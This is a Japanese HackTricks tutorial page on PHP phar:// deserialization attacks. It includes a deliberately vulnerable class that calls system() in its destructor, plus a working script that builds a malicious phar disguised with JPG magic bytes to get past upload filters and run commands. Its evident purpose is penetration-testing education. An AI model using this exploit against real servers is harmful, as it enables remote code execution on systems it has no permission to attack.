hacktricks/src/pentesting-web/file-inclusion/phar-deserialization.md

67 lines
2.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# phar:// デシリアライズ
{{#include ../../banners/hacktricks-training.md}}
**Phar** ファイル (PHP アーカイブ) は **シリアライズ形式のメタデータ** を含んでいるため、解析されるとこの **メタデータ****デシリアライズ** され、**PHP** コード内の **デシリアライズ** 脆弱性を悪用することができます。
この特性の最も良い点は、**file_get_contents()、fopen()、file() または file_exists()、md5_file()、filemtime() または filesize()** のような PHP コードを評価しない関数を使用しても、このデシリアライズが発生することです。
したがって、任意のファイルのサイズを **`phar://`** プロトコルを使用して取得する PHP ウェブがある状況を想像してみてください。そして、コード内に次のような **クラス** が見つかります:
```php:vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
```
あなたは、読み込まれるとこのクラスを悪用して任意のコマンドを実行する**phar**ファイルを作成できます。
```php:create_phar.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
```
注意してください、**JPGのマジックバイト**`\xff\xd8\xff`がpharファイルの先頭に追加されて、**可能な**ファイル**アップロード**の**制限**を**回避**するために使用されます。\
`test.phar`ファイルを次のようにコンパイルします:
```bash
php --define phar.readonly=0 create_phar.php
```
脆弱なコードを悪用して `whoami` コマンドを実行します:
```bash
php vuln.php
```
### 参考文献
{{#ref}}
https://blog.ripstech.com/2018/new-php-exploitation-technique/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}